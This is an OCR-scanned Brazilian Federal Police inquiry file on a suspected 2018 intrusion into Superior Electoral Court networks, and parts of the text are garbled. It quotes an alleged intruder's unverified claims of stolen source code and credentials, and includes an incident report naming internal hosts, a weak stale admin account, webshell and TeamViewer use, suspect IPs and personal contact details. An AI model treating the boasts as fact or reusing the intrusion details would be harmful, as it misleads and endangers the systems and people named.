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ХЕ 
SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
: IPL N? 1361/2018-4 SR/PF/DF 


PORTARIA 


VICTOR NEVES FEITOSA CAMPOS, Delegado 

de Polícia Federal, lotado e em exercício na 

SR/PF/DF, em Brasília/DF, no uso de suas 

atribuições previstas no art. 144, 81º, 1 e IV, da 

Constituição Federal de 1988, no art. 4? e segs., 

ж do Código de Processo Penal, е na Lei n? 
ў 12.830/2013; | TOW 
Considerando os termos do Ofício E 5825 

GAB-SPR, proveniente do Tribunal Superior 

Eleitoral, registrado nesta SR/PF/DF sob, o nº 

08200.021554/2018-33, ШЕГЕ 


RESOLVE: c 

Instaurar Inquérito Policial, para apurar possível ocorrência do) delito 

previsto no art. 154-A, 83º do Código Penal, que veio ao conhecimento desta 
Superintendência por meio do Ofício nº 5825 GAB-SPR, proveniente. do Tribunal 

a Superior Eleitoral, trazendo a notícia de suposta invasáo a sistemas e bancos de 


dados do TSE, com acesso e divulgacáo de dados sigilosos daquele Tribunal. 


Autuada esta e os documentos acima mencionados, feitos os registros e 
anotações de praxe, DETERMINO sejam adotadas, preliminarmente, as seguintes 
providências: 


1. Expeça-se ofício à Procuradoria da República, comunicando a 
instauração deste procedimento; 


2. Apreenda-se a mídia (pen drive) encaminhada pelo Ofício nº 5825 
GAB-SPR, juntando-a aos autos, 


3. Junte-se o Ofício nº 5860 GAB-SPR, proveniente do TSE; 


4. Expeça-se ofício ao Tribunal Superior Eleitoral, endereçado ao 
Secretário de Tecnologia da Informação, sr. Giuseppe Dutra Janino, solicitando a 
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SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


imagem da(s) máquina(s) supostamente invadida(s), relatório circunstanciado do 
incidente reportado no ofício ensejador da instauracáo do presente apuratório, bem 
como relatório circunstanciado de eventual incidente ocorrido no ano de 2018, que 
possa ter relação com o incidente reportado, indicando logs e IP's (ou outras 
informações relevantes) suspeitos que possam levar à autoria do fato; 


5. Aguarde-se em cartório a chegada da resposta ao item 3. supra, 
quando deverão os autos retornarem-me conclusos para determinação de novas 
diligências . 


CUMPRA-SE 





( 
VICTOR NEVES/FEJTOSA CAMPOS 
Delegado| ДЕ Pdlícia Federal 
Classe Espe ? 16.179 


IPL N° 1361/2018 
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TRIBUNAL SUPERIOR ELEITORAL 


Ofício n? 5825 GAB-SPR 
Brasília, 06 de novembro de 2018. 
A Sua Exceléncia o Senhor 
ROGÉRIO AUGUSTO VIANA GALLORO 
Diretor-Geral da Polícia Federal 
Brasília - DF 


Assunto: Medidas de polícia judiciária. 


Senhor Diretor-Geral, 


Tendo em vista o teor do e-mail que acompanha o 
presente ofício (anexo - I) bem como dos documentos e 
imagens nele veiculadas (mídia digital - anexo II), solicito a 
Vossa Excelência a adoção das medidas administrativas de 
polícia judiciária pertinentes. 


Atenciosamente, 


Mi ми WEBER 


Presidente 

















TRIBUNAL SUPERIOR ELEITORAL 


ANEXO I 


De: Felipe Payáo [mailto:felipe.cruz(Ggruponzn.com] 

Enviada em: terça-feira, 6 de novembro de 2018 13:47 

Para: Imprensa; silvana freitasQtre-sp.jus.br 

Assunto: Re: TecMundo - Possível acesso ao GEDAI/Documentos 








Os arquivos estão no ZIP, como indiquei na ligação. 

Obrigado 

Em 6 de novembro de 2018 12:36, Felipe Payáo <felipe.cruz(Wgruponzn.com> 
escreveu: 

Olá. Tudo bem? 

Recebemos alguns documentos e imagens de uma suposta invasão ao sistema GEDAI e 
outras informações sigilosas referentes aos processos do TSE. Antes de uma provável 


publicação, gostaríamos de compartilhar o material com vocês. ` 


Este seria o melhor canal? 
Obrigado 


4 


Felipe Payão 
Repórter 
теі. +55 11 5083.1018' 


св. +55 11 972827444 
HTTP nzn.io 














TRIBUNAL SUPERIOR ELEITORAL 


Ofício nº 5860 GAB-SPR 
Brasília, 07 de novembro de 2018. 
A Sua Exceléncia o Senhor 
ROGÉRIO AUGUSTO VIANA GALLORO 
Diretor-Geral da Polícia Federal 
Brasília - DF 


Assunto: Medidas de polícia judiciária - continuação. 


Senhor Diretor-Geral, 


Encaminho a Vossa Excelência cópia do e-mail recebido 
nesta data (anexo-l), em complementação aos documentos de 
que trata o Ofício nº 5860 GAB-SPR, de 06.11.2018. 


Atenciosamente, 


dt WEBER 


Presidente 


TRIBUNAL SUPERIOR ELEITORAL 


ANEXO I 





De: Felipe Payáo [mailto:felipe.cruzgruponzn.com 

Enviada em: quarta-feira, 7 de riovembro de 2018 16:46 

Para: Imprensa 

Assunto: Re: TecMundo - Possivel acesso ao GEDAI/Documentos 





Olá, 


Vocés teriam como nos enviar um posicionamento ainda hoje? 


t 


Obrigado 


Em 7 de novembro de 2018 16:12, Felipe Payão <felipe.cruz onzn.com> 
escreveu: 
Olá, 


Esqueci de incluir o texto que acompanhou os documentos explicando como foi 
realizada a suposta invasão ao GEDAI e intranet. Segue abaixo: 


Devido a falhas/vulnerabilidades de aplicações desenvolvidas pelo próprio TSE, acabei 
obtendo acesso remoto, a um dos equipamentos ligado a rede. 


Desta forma, tive acesso a rede interna (intranet), e por vários meses, fiquei explorando a 
rede, inclusive entrando em diversas máquinas diferentes do TSE, em busca de 
compreender, o funcionamento do sistemas de votação. 


Com isso, obtive milhares de códigos-fontes, documentos sigilosos, e até mesmo, 
credenciais, sendo login de um ministro substituto do TSE (Sérgio Banhos), e diversos 
técnicos, alguns sendo ligados a alta cúpula de T.I, do TSE, ligado ao pai das urnas: 
(Giuseppe Janino). 


Passados algumas semanas em que estive utilizando os equipamentos de rede do TSE, 
notei via e-mail's dos técnicos da STI, que os mesmos notaram tráfego suspeito (devido ter 
tido utilizados programas de scan, na rede), fizeram uma pericia para detalhar como o 
invasor conseguiu obter acesso ilegal a rede, mas mesmo com todos estes procedimentos 
de segurança que dotaram, incluindo a alteração de senhas de todas as contas, acabou 
não sendo suficiente para interromper meu acesso, aos e-mails, e também a rede interna. 


Notei que em 07/09 (data de execução do pleito eleitoral de 2018), os técnicos cortaram, 
acesso ao VPN, e ao Correio, talvez para justificar, que as urnas não possuem conexão a 
internet, mas isso é bem assim, pois qualquer cidadão com conexão a internet, e 
conhecimento para tal, exemplo: controle remoto de qualquer servidor que dispõe de 
conexão a internet/intranet, poderia ser utilizado para manipulação, de aplicações 








tony 





TRIBUNAL SUPERIOR ELEITORAL 
responsáveis pelo sistema de votacáo, como o Intercad (арісасао WEB/JAVA), ligada aos 
TRE'S. 


Outra coisa, obtive juntamente com o código-fonte que compóem o funcionamento das 
urnas, as chaves que sáo utilizadas. 


Estou anexando mais algumas imagens em um arquivo ZIP, confirmando a obtericáo do 
código-fonte, e também de documentos sigilosos que podem comprometer o pleito. 


Obs: Somente o código-fonte descompactado (GEDAI-UE), ultrapassa 3GBs, sendo que 
obtive milhares de outros códigos, como Cand-web." 
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SERVIÇO PÚBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
CORREGEDORIA REGIONAL DE POLÍCIA FEDERAL - COR/SR/PF/DF 


Assunto: Notícia-crime 

Destino: DRCOR/COR/SR/PF/DF 
Processo: 08200.021554/2018-33 
Interessado: TSE 


l. Trata-se de ofício encaminhado pela Excelentíssima Ministra Presidente do Tribunal 
Superior Eleitoral, ROSA WEBER, comunicando e solicitando a adoção de medidas de polícia judicária 
pela Polícia Federal, diante da possivel invasáo ao sistema GEDAI e acesso à documentos sigilosos do 

@ Tribunal Superior Eleitoral, fato que se amolda, em tese, ao crime previsto no ап. 154-A, 53% do Código 
Penal Brasileiro. 


2: Encaminhe-se o expediente à DRCOR para instauração de Inquérito Policial, procedendo- 
se as atualizações nos sistemas SEI/SISCART. 


RODRIGO DA SILVA BITTENCOURT 
Delegado de Polícia Federal 
Corregedor Regional 


" | Documento assinado eletronicamente por RODRIGO DA SILVA BITTENCOURT, Corregedor Regional, 
9} | em 07/11/2018, às 18:52, conforme horário oficial de Brasilia, com fundamento no art. 6°, 8 19, do 
à Decreto nº 8.539, де 8 de outubro de 2015. 





Referéncia: Processo n? 08200.021554/2018-33 SEI n? 8890655 


VLL 1452699&infra siste... 1/1 
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DESPACHO Nº 6386/2018 - DRCOR/SR/PF/DF 


аса” 


ру ando 02155412018:33” Š Fu 
Referências: [Ofício nº 5825 GAB-SPR dy A 


г (DISTRIBUIÇÃO) 7 M d: ees 





етет instauração de Inquérito Policial `: 


| Encaminhe-se о presente expediente ao Delegado de Polícia Federal T 
* x VICTOR NEVES FEITOSA CAMPOS para a шын de Inquérito Policial. | 


ен os registros de m no SISCART/SE. 









Brasília/DF, 08 de novembro de 2018. 





[UGO DE BARROS CORREIA 
Delegado de Polícia Federal 
Chefe da DRCOR/SR/PF/DF 
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SERVICO PÚBLI O FEDERAL 
MSP - POLICIA FEDERAL 


SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


Ofício nº 8663/2018 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 09 de novembro de 2018. 


A Sua Senhoria, o Senhor 

Giuseppe Dutra Janino 

Secretário de Tecnologia da Informação 

Tribunal Superior Eleitoral 

Setor de Administração Federal Sul, Quadra 7 - Asa Sul, tel.: (61) 30308881/8882 
gab.sti(gtse.jus.br 


| Assunto: Solicitaçao de informacóes 
! Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referëncia na resposta) 


Senhor Secretário, 


Visando à apuração dos fatos noticiados no ofício nº 5825 GAB-SPR, 
solicito a Vossa Senhoria encaminhar a imagem da(s) máquina(s) supostamente 
invadida(s), relatório circunstanciado do incidente reportado no ofício ensejador da 
instauração do presente apuratório, bem como relatório circunstanciado de eventual 
incidente ocorrido no ano de 2018, que possa ter relação com o incidente reportado, 
indicando /ogs e IP's (ou outras informações relevantes) suspeitos que possam levar à 
autoria do fato. 





Atenciosamente, 
VICTOR 
Del 
ја Classe - Matrícula nº 16.179 
do de S3 ra 
Leo бал рода 
ode 45846. 
Esp 
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SERVICO PÜBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 
SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
AUTO DE APREENSAO N? 714/2018 
IPL-1361/2018-4-SR/PF/DF 


Аок)09 dia(s) do més de novembro de 2018, nesta SUPERINTENDÊNCIA REGIONAL 
DE POLÍCIA FEDERAL NO DISTRITO FEDERAL, em Brasília/DF, onde se encontrava 
VICTOR NEVES FEITOSA CAMPOS, Delegado de Polícia Federal, na presenca das 
testemunhas HELIO GRACA MOUTA FILHO e SIMONE MENDES DE ANDRADE, 
ambos Escrivães de Policia Federal, lotados e em exercício nesta SR/PF/DF, pelo 
mesmo foi determinado que se tornasse efetiva а apreensão, na forma da Lei, do 
material abaixo discriminado: 


Apreensão nº: 714/2018 


ItemDescrição “|| | Quant | Unidade Observação | (0 


1 Реп drive 1 UN PEN DRIVE, MARCA SANDISK, 

NAS CORES VERMELHA E 

‚ PRETA, ENCAMINHADO PELO 
OFÍCIO М9 5825 GAB-SPR. 


Referida apreensáo se deu em cumprimento ao Item 2 do Despacho inaugural da 











Autoridade Policial (fls. 02). Nada mais havendo, determinou a autoridade o 
encerramento do presente que, lido e achado conforme, assinam comigo, EDVALDO 


SOUZA NASCIMENTO, Escrivão d a (cia Federal, as testemunhas. 






AUTORIDADE: ............... 


Д 


TESTEMUNHA: ............. аала T f 






TESTEMUNHA. ............. 


ESCRIVÁOa; ....... "Ae NNNM 
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MSP - POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


Ofício n? 8726/2018 - IPL 1361/2018-4 SR/PF/DF - GRCC 


` 


Brasília/DF, 09 de novembro de 2018. 


A Sua Excelëncia o(a) Senhor(a) 
Procurador(a) da República 

Procuradoria da República no Distrito Federal 
SGAS 604, Lote 23 - Avenida L2 Sul 


Assunto: Comunica Instauracáo de Inquérito Policial 
Ref.: IPL 1361/201 8-4 - SRIPFIDF (Citar principalmente este nº em eventual resposta) 


t 


Senhora) Procuradora) 


Comunico a Vossa Excelência que, em resposta ao Ofício n.° 5825, 
protocolado nesta SR/DPF/DF sob o n° 08200021554201833, foi instaurado o Inquérito 
Policial 1361/2018-4 - SR/PF/DF, sob a presidência desta Autoridade signatária, 
invasão ao sistema GEDAI e acesso a documentos sigilosos do TSE. 


Atenciosamente, 
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SERVICO PUBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


IPL n? 1361/2018-4 - SR/PF/DF 
DESPACHO 


1. Juntem-se os Ofícios n° 6297 STI e 6322 STI. 


2. Encaminhe-se o material (pen drive e discos rígidos) que 
acompanharam os expedientes supra citados ao Serviço de Repressão а 
Crimes Cibernéticos da CGPFAZ, solicitando analisar o material e confirmar os 
endereços IP dos acessos e eventual vinculação do episódio de abril com o 
ocorrido em setembro e outras informações que possam levar à autoria do fato 
delituoso. 


3. Considerando o vencimento do prazo de permanência dos autos 
no âmbito policial; remetam-se ao MPF/DF com solicitação de concessão de 
novo prazo para continuidade das investigações. 












4 DATA 
Ao(s) 0? 1/21 , recebi estes autos conclusos 
Delegado(a) VICTOR NEVES FEITOSA САМО» / matrícula 
16.179, com 1 volume(s) е 0 apenso(s) Еи, К A 

EDVALDO SOUZA NASCIMENTO, Escrivão de/Policia Federal 
Classe Especial, Matrícula nº 926, que o lavrei. 


as ae 
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TRIBUNAL SUPERIOR ELEITORAL 
Ofício nº 6297 STI 
| Brasília, 16 de novembro de 2018. 


А Sua Senhoria o Senhor 


Victor Neves Feitosa Campos 


> 


Delegado de Polícia Federal : 
Polícial Federal - Superintendéncia Regional no Distrito Federal 


Brasilia - DF 
O 


Assunto: Resposta. Solicitação de Informações. IPL 1361/2018-4 - SR/PF/DF j 


Senhor Delegado, 


1. Trata-se de encaminhar disco rígido contendo artefatos envolvidos em incidente 
de segurança ocorrido па rede da Justiça Eleitoral, que abriu precedente para que pessoas 
alheias à rede desta Justiça Especializada tivessem acesso a dados sensíveis. 


2. São os artefatos contidos no HD: 


- Log de acesso à VPN do TRE-PB. Enviado log completo bem como log do usuário 
O Digitro; 

- Cópia da máquina virtual do TRE-RN, que foi invadida durante o evento; 

- Cópia de trés máquinas do TRE-BA que foram invadidas durante o evento de Abril; 

- Relatório do TRE-PE contendo detalhamento do evento de Abril; 


- Arquivo texto contendo resumo do evento de Abril de 2018. 


t 


Atenciosamente, 





GIUSEPPE DUTRA JANINO _ 
SECRETÁRIO DE TECNOLOGIA DA INFORMACÁO 


[a] Documento assinado eletronicamente em 30/11/2018, às 19:42, conforme art. 1º, 82º, III, 
b, da Lei 11.419/2006. 


https://sei.tse.jus.br/sei/controlador.php?acao-documento imprimir web&acao огідет-агуоге visualizar&id documento=981869&infra sistema... 
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TRIBUNAL SUPERIOR ELEITORAL 
Ofício n° 6322 STI 
Brasília, 3 de dezembro de 2018. 


A Sua Senhoria o Senhor 
Victor Neves Feitosa Campos 
Delegado de Polícia Federal 
Polícial Federal - Superintendéncia Regional no Distrito Federal 
Brasilia - DF 
e 


Assunto: Complementação. Resposta. Solicitação de Informações. ІРІ. 1361/2018-4 - SR/PF/DF 


Senhor Delegado, 


1. Trata-se de encaminhar pendrive e HD externo contendo artefatos envolvidos em 
incidente de seguranga ocorrido na rede da Justica Eleitoral, que abriu precedente para que 
pessoas alheias à rede desta Justiça Especializada tivessem acesso a dados sensíveis. 


2. Os artefatos são: 
- Logs de ações dos usuários Cristiano Andrade, Sergio Banhos e Rodrigo Coimbra; 


e - Imagens de diálogos entre Cristiano Andrade e Marcelo Carneiro, evidenciando 
incidente ocorrido em 1° de maio; 


- Relatório circunstanciado dos incidentes ocorridos e abril e setembro de 2018; 


- Cópia da máquina virtual do TRE-RN. 


Atenciosamente, 





ELMANO AMÁNCIO DE SÁ ALVES 
SECRETÁRIO(A) DE TECNOLOGIA DA INFORMACAO - SUBSTITUTO(A) 


Sa Documento assinado eletronicamente em 03/12/2018, às 16:39, conforme art. 1º, 82º, ІШ, 


b, da Lei 11.419/2006. 








A autenticidade do documento pode ser conferida em 


https://sei.tse.jus.br/sei/controlador externo.php? 


acao=documento conferir&id orgao acesso externo=0&cv=0926840&crc=61BAC466, 


https://sei.tse.jus.br/sei/controlador.php?acao-documento imprimir web&acao origem=arvore visualizar&id documento=9836538infra sistema... 1/2 
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n * 
Y 


| kms] informando, caso nào preenchido, o código verificador 0926840 e o código 
Й: 61BAC466. 















2018.00.000014722-6 Documento n? 0926840 v4 


https://sei.tse jus.br/sei/controlador.php?acao=documento imprimir web&acao origem=arvore visualizar&id documento-983653&infra sistema... 2/2 
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КЕ) PÜBLICO FEDERAL — T 
S'MSRG .POLÍCIA;FEDERAL At, 


SUPERINTENDÉNCIA. REGIONAL'NO:DISTRITO FEDERAL 
SAS Quadra.7,- Lote 23; Setor, Policial Sul- Brasilia/DF = &CEP470.610:90244. 
Memorando n? 5970/2018; IP11361/2018:4 SR/PFIDE = БЕСС: 


| — я HESSÁ-JID: Em 07:de'dezembro de 2018. 


`ЧАозу 07/12/2018, faço remessa dos autos do ІРІ nj 
1591/20184, contendo 1 volume(s) 20 apanso(s), АТ; 
Ao; Exmo: 'senhor.Chefe do Serviço c de” Représsão arCrimes Cibernéticos da i 

CGPFAZ | Procuradoria da Repúbiza no-Lisimo Federal, nos termos а 

ipo 2º da Resojução nº 63, do Conselho da Justiça 

Assunto: SEER пас, material VSEE O -SQUZA NASCIMENTO 

| rcrivéo de Polígia Fedora), Classe ipe Memo 2; 

O | lus lavrei a pres 













— `. 


nte. 


di Senhor Chefe, 


Objetivando instruir-os.autos:do IPL 1361/2018-4 SR/PF/DF - GRCC 
encaminho a Vossa Exceléncia os materiais que se fazem acompanhar dos Ofícios n? 
6297 STI e 6322 STI, (pen drive e discos rígidos), para fins de.análise dos mesmos e 
confirmação dos endereços IP dos acessos e eventual vinculação do episódio de abril 
com o ocorrido em setembro e outras ipiórmaçães que possam levar à autoria do fato 
delituoso. . | 


Atenciosamente, 





IPL N° 1361/2018 


- ` 0P 42312018 











SR/DPFIDE 601 
RE^" UsEMTO 


18 JAN 2819 — 


contendo _ 2 Omen 
Do que, con 

















ee te terme 














ааа 
MJ.-DEPARTAMENTO DE POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
DELEGACIA DE REPRESSÃO A CRIMES FAZENDÁRIOS 
















CERTIDAO 





CERTIFICO QUE, NESTA DATA RECEBI DO SENHOR CHEFE DO 
NUCART OS PRESENTES AUTOS PARA PROSSEGUIMENTO DOS 
TRABALHOS AFETOS A ESTE APURATÓRIO, EM ASSIM, FACO 
CONCLUSOS AO SENHOR DELEGADO DE POLÍCIA FEDERAL 
VICTOR NEVES FEITOSA cao PARA DELIBERAR, DO 
QUE PARA CONSTAR, ГАУВО/ ЕЗТЕ TERMO. O REFERIDO É 
ds DO SOUZA NASCIMENTO, 
FEDERAL, MATRC. 926. 
O DE 2019. 











VERDADE E DOU FÉ. 
ESCRIVAO DE POLÍCIA 
BRASILIA, 24 DE JANE 






CONCLUSAO 








SENHOR DELEGADO DE POLÍCIA FEDER VICTOR NEVES 


NESTA DATA, FACO CONCLUSOS OS PERA TES AUTOS AO 
DO. QUE, PARA 









CONSTAR, LAVRO ESTE TERMO. EU 
NASCIMENTO, ESCRIVÃO DE POLÍC 
BRASÍLIA, 25 DE JANEIRO DE 2019. —— 





SERVICO PÜBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


IPL n° 1361/2018-4 - SR/PF/DF 
DESPACHO 


1. Junte-se o Ofício n? 296 GAB-SPR. 


2. Ехреса-ве ofício de resposta ao item 1 supra informando que o inquérito 
está em andamento, restando pendente, atualmente, análise por parte do Serviço de 
Repressáo a Crimes Cibernéticos do material encaminhado pelo TSE. 


3. Verifique-se se consta em cartório resposta ao Memo de fl. 20. Еті caso 
positivo, junte-se e retornem-me conclusos. Em caso negativo, reitere-se e "auae se 
em cartório por 30 dias ou até a chegada da resposta. 







Brasilia/DF, 20 de fevereiro de 2019. : 


VICTOR NEVES FEITOSA CAMPOS 
Deledadó de Polícia Federal 
Classe Especial - Matrícula-n? 16.179 






LIDIA FEDERAL, COM à 





| СЪДА O7 

NESTA DATA, RECEBI OS PRESINT 

SENHOR DELEGADO DE POLIA rene DO E 
PRA, Di 

LAVRO ESTE TERM 


ІРІ Nº 1361/2018 








SERVICO P PÜBLICO FEDERAL 
-MSP - POLÍCIA FEDERAL 


“SUPERINTENDÊNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 






“JUNTADA 
Aos 26/02/2019, faço juntada do(s s) seguintes documento(s E 
GAB-SPR, referido(s) no Despacho retro. Eu, А 


SOUZA NASCIMENTO, Escriváo de Policia Federal, Classe е Especia Matrícula | 
n? 926, que o lavrei. 


o Oficio nº 298 - 











IPL N° 1361/2018 

















PROTOCOLO - SE] 
SERA/COADIDLOGIPF 





Ofício n? 296 GAB-SPR 


| Brasília, 01:de fevereiro de 2019. 
A A Sua Excelência o Senhor | 


| о 
| Dr. MAURÍCIO LEITE VALEIXO A E 
+] Diretor-Geral da Polícia Federa] 3 
í Brasília - DF ( 2 6 | 22) 


Assunto: Ofício nº 5825 GAB-SPR. Medidas de polícia judiciária. 


e Senhor Diretor-Geral, 
Reiterando o Ofício n? 5979 GAB-SPR, de 20/11/2 
caráter reservado, serem enviados a mim os resultados da investigaçã 


z | а esse Departamento por meio do Ofício n9 5825 GAB-SPR. 


i Atenciosamente, 


j RICARDO FIOREZE 
Juiz Auxiliar da Presidência 


Presidente da Comissão de Sindicância 


tte 











—.D 







































RICARDO FIOREZE 224 

s e do JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 

Ғы [giu] Documento assinado eletronicamente em 04/02/2019, às 09:33, conforme art. 18, 528,11, 
А b, da Lei 11.419/2006. 
5 [а]; O А autenticidade do documento pode ser conferida em 
" Руа Н https://sei.tse.jus.br/sei/controlador externo.php? | | 
E Adr acao-documento conferir&id orgao acesso externo=0&cv=0963982&crc=B7C9F9BA 
" 2 Y че; Op Ci i ——əamÚx ARO ОГ a - Я 
7 T 


E Mx ы informando, caso nào preenchido, o código verificador 0963982 e o'código СЕС 
Зан B7C9FOBA. 


Tom m ees 





2018.00.000014309-3 Documento n? 0963982 v4. 























ы. A E 
SERVICO PÜBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 
Ofício nº 1468/2019 - IPL 1361/2018-4 SRPRDES GRCC ` 


Brasilia/DF, 26 de fevereiro de 2019. uS» 


A Sua Excelência, o Senhor 

RICARDO FIOREZE 

Juiz Auxiliar da Presidéncia do Tribunal Superior Eleitoral 
"or. de An od aa A Sul (SAPS Quadra 7, Lotes 157 Tel. (61) 3030- Да | 





Assunto: Solicitação de informações 
Ref.: IPL 1361 12018-4 - SR/PF/DF - - (Favor citar essa referência na КҮТЕ 


Senhor Juiz Auxiliar, 


Visando instruir os autos do Inquérito Policial nº 1361/2018:4 2 
SR/PF/DF, informo a Vossa Exceléncia que o inqüérito está em andamento, restàndo 


pendente, atualmente, análise por parte до Serviço de Repressão a Crimes”. ` 


Cibernéticos do material encaminhado pelo TSE. 






Atenciosamente, 


/ Е 
f Delegado de Polícia Federal 
Classe Especial - Matrícula n? 16.179 


siot 


IPL N° 1361/2018 | M E RO Xe wol ue 2 HM TEE 











SERVICO PÜBLICO FEDERAL 
| MSP - POLÍCIA FEDERAL 
SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


IPL n° 1361/2018-4 - SR/PF/DF 


1. Junte-se o relatório de incidente produzido pela equipe de TI do TSE. 


2. Junte-se a Informação nº 002/2019-UTC/SRCC/CGPFAZ/DICOR/PF. 


3. Formalize-se a apreensão do disco rígido externo e do pen drive que 
acompanham a informação, encaminhando-se, em seguida, ao depósito desta 
Superintendência. 


4. Oficie-se à empresa Locaweb Serviços de Internet S/A, requisitando os 
dados cadastrais do usuário do IP 191.252.64.20, em 17/04/2018, às 21:46:26 e 
18/04/2018, às 06:36:35, bem como o conteúdo referente à hospedagem que utilizou o 
IP 191.252.0.19, em 190412018; às 00:23:48. 


5. Oficie- -se à empresa Claro S/A, requisitando os dados cadastrais dos 
usuários do IP 201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, ав 
08:36:42, e do IP 201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 
05:48:59. 


6. Oficie-se à empresa Tim Celular S/A, Шы os dados cadastrais 
dos usuários dos IP: 
189.40.75.154, em 18/04/2018, às 18:56:14 
191.51.34.72, em 18/04/2018, às 19:02:05 
189.40.75.239, em 18/04/2018 20:45:41 
177.219.117.183, em 18/04/2018, às 20:56:20 
189.40.72.247, 18/04/2018, às 22:21:17 
189.40.72.14, em 18/04/2018 22:23:14 
: 189.40.91.135, em 18/04/2018, às 22:29:37 
189.40.90.239, em 19/04/2018, às 01:13:32 
189.40.90.253, em 19/04/2018, às 04:08:37 


7. Aguarde-se em cartório resposta ao expediente citado no item 4 supra, 
observando-se о vencimento do prazo de permanência deste apuratório no âmbito 
desta Polícia Judiciária da União 2. quando deverá ser remetido ао 
NUCART, independente de novo despacho; ү ds de remessa do feito ао 
Ministério Püblico Federal do DF, com е dp concessáo de novo prazo. 


d | | Brasilia/DF, 17 de abril de 2019. 
VICTOR NEVES FEITOSA CAMPOS 


Delegado de ба Federal 
Classe Especial - Matrícula nº 16.179 


IPL N° 1361/2018 








| i : TRIBUNAL SUPERIOR ELEITORAL 


COORDENADORIA DE INFRAESTRUTURA 
SECAO DE SUPORTE OPERACIONAL 





AO Sr. SECRETÁRIO DE TECNOLOGIA DA INFORMAÇÃO, 


Venho através desse documento, relatar o incidente de rede ocorrido no período de 18 de abril 
a 21 de abril de 2018 que veio a afetar ativos de rede e servidores da rede interna do TRE-PE, bem 
como de toda a justiça eleitoral. 


No dia 20 de abril de 2018 às 15:06 da tarde, foi detectado pela equipe do Tribunal Regional 
de Pernambuco, acesso indevido ao seu servidor de banco de dados, com acesso oriundo da máquina 
plank.tre-m.jus.br (10.16.140.49) um dos servidores de banco de dados do Tribunal Regional 
Eleitoral de Pernambuco. 


Tendo em vista não ser normal o acesso de banco de dados entre Regionais, iniciou-se 
investigação para saber a origem do acesso. Verificou-se que houve o comprometimento de um 
servidor WEB do Tribunal Regional do Rio Grande do Norte, a partir do qual o atacante começou a 
realizar acesso a vários regionais, dentre eles BA, GO, e SP. 


Verificou-se que os acessos ao banco do TRE-PE, foram realizados a partir da máquina 
10.16.140.49 е da máquina spmalote01.tre-sp.gov.br (10.1.1.215) do TRE-SP. O banco de dados 
acessado chama-se SIMPLA. 


A partir daí, houve relatos sobre escaneamentos de rede e tentativas de intrusão de vários 
locais dentro da Justiça Eleitoral, tais como TRE-AC, TRE-PR, TRE-CE, TRE-BA, TRE-PB. 


Em seguida, houve o relato, por parte do TRE-AP, de que uma de suas máquinas Windows 
havia sido comprometida, utilizando um usuário de administração do TSE. Esse usuário é antigo e 
deveria estar desativado. A senha era de fácil dedução. A partir dessa máquina, foi acessado um 
servidor de domínio no TSE. 


A máquina TRE-AP (10.25.30.13) foi utilizada pelo usuário administrador TRE-AP/tse (tela 
04) para acessar outras máquinas da Justiça Eleitoral (tela 01). 


No momento que acessamos a máquina, ele estava acessando a máquina do TSE 10.30.1.221 
com o usuário TSE/suporte para visualizar os logs do exchange (tela 02 e 03). 


Vimos no log do Windows que ele também tentou acessar outros IP's do TSE. 
Tela 05 exibe o invasor acessando o webshell da máquina 10.1.1.127. 


Lista de IPs de origem que acessaram nossa máquina via RDP: 10.12.2.7,10.12.2.29 e 
10.12.2.41. | 


О primeiro acesso foi realizado dia 20/04/2018 e o teamviewer foi instalado dia 22/04/2018. 





Eare crist v [EP Compartithor 


вещно eb Фе nue 


ID de parceiro 


А Ще © Controte вр 
Acesso não Supervision... 


СО) iniciar o Teamviewer com Windows 
(7) Ainbuido a Conta do TSE 
(2) Conceder acesso гаси 


28/06/2015 20:09 
2311/2011 18:11 

web 30/06/2016 12:56 Arquivo CONFIG 

LO Web.Config.backup by EV.1 27405/2012 113% Arquvod 

КУ Web.Config backup by EY.2 04/03/2014 17:28 Аамно2 

«ӘУ Web.Config backup by EV.3 28/00/2015 20:09 Arquivo3 

u web.config.bak. 23/11/2011 18:11 Arquivo ВАК 

[X webReadyview 02/12/2013 17:54 Arquivo ASPX 


POR 15:46 
` е 
^ RO de pras 22/04/2018 





Tela 2 


С SWDC em RAPSCINF103 - Conexão de Máquina Virtual -- о х 
Arquivo Ação Mídia Área де Transferência Exibir Ajuda 


